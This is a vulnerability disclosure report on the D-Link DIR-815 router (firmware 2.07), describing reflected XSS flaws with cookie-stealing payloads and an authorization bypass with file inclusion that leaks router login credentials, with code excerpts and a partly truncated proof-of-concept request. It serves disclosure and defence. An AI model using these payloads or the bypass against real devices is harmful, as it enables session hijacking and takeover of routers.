Some Vulnerabilities of D-link Dir815

I find some vulnerabilities in d-link dir815 router recently.This is a report to the dlink security team.

Production Description

  • Product Page : DIR-815
  • Firmware Version : 2.07 (DIR-815_REVB_FIRMWARE_PATCH_2.07.B01)
  • Hardware Version : N/A

Vulnerabilities Summary

There are several vulnerabilities :

  1. Xss
  2. Permission bypass
  3. Information disclosure.

Details – WAN && LAN – revB – XSS(CVE-2018-10107,CVE-2018-10108)

An attacker can use the XSS to target which is an authenticated user in order to steal the authentication cookies.

  1. /htdocs/webinc/js/bsc_sms_inbox.php line: 17

    var get_Treturn = '<?if($_GET["Treturn"]=="") echo "0"; else echo $_GET["Treturn"];?>';

    The parameter $_GET[“Treturn”] has no filter.So the poc:';alert(document.cookie)//

  2. /htdocs/webinc/js/info.php line:27 -30

        $title  = "ACTION ".$_GET["RESULT"];
            $message = "'".i18n("The action requested failed because the file uploaded too large.")."', "."'<a href=\"".$referer."\">".i18n("Click here to return to the previous page.")."</a>'";
        echo "\t\tvar msgArray = [".$message."];\n";
        echo "\t\tBODY.ShowMessage(\"".$title."\", msgArray);\n";
    ?>  },

    The parameter $_GET[“RESULT”] has the same problem as the last one,So the poc:",msgArray);alert(document.cookie);//

Details – WAN && LAN – revB – Permission bypass&Information disclosure(CVE-2018-10106)

  1. Permission bypass

    I found some files or some functions only can be accessed by power user,such like:

    /htdocs/web/getcfg.php line:83-94

    function is_power_user()
        return 0;
        return 0;
    return 1;

    We can see the $_GLOBALS["AUTHORIZED_GROUP"] need to be greater than 0 and not a null.

    Phpcgi is a symbolic link to cgibin. When we reverse the file phpcgi(a elf file).We can kown that Phpcgi is responsible for processing requests to .php, .asp and .txt pagesIt can be through URL, HTTP head or POST request sent by body data analysis.The phpcgi will create a long string, and the string will be treated as a series of key value pairs, and are used in $_GET, $_POST and $_SERVER dictionary and PHP script variable.Nevertheless, if a request is crafted in a proper way, an attacker can easily bypass authorization.

    Each of the key values pairs is encoded in the following form: _TYPE_KEY = VALUE, where TYPE can be GET, POST, or SERVER. Next, the key value pairs are connected using the branch character ‘\n’. In this way, we can build a packet by itself to bypass some permission validation.Such like this:


  2. Information disclosure

    /htdocs/web/getcfg.php line:94-147

    if ($_POST["CACHE"] == "true")
    echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
    if(is_power_user() == 1)
        /* cut_count() will return 0 when no or only one token. */
        $SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
        TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
        $SERVICE_INDEX = 0;
            $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
            TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
            if ($GETCFG_SVC!="")
                $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
                /* GETCFG_SVC will be passed to the child process. */
                if (isfile($file)=="1")
                    if(get("", "/runtime/device/sessions_privatekey")==1)
                        AES_Encrypt_DBnode($GETCFG_SVC, "Encrypt");
                        dophp("load", $file);
                        AES_Encrypt_DBnode($GETCFG_SVC, "Decrypt");
                    {   dophp("load", $file);}
        /* not a power user, return error message */
        echo "\t<result>FAILED</result>\n";
        echo "\t<message>Not authorized</message>\n";

    We can see dophp("load", $file), the function like a include() .

    The variable $file is made up of $GETCFG_SVC, then $GETCFG_SVC comes from $_POST["SERVICES"], there is also no filter,so we can control the variable $file, and the permission validation is_power_user() can be bypassed by last trick. In this way,we can include any other php scripts to get some important informations,such like DEVICE.ACCOUNT.xml.php, it returns a username and password to a router,then we can login in the router.

  3. Proof of concept:

    The http request:

    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Connection: close
    Upgrade-Insecure-Requests: 1

    the response:

    HTTP/1.1 200 OK
    Server: Linux, HTTP/1.1, DIR-815 Ver 2.07
    Date: Sat, 01 Jan 2000 09:32:01 GMT
    Connection: close
    Content-Type: text/xml
    Content-Length: 646
    <?xml version="1.0" encoding="utf-8"?>


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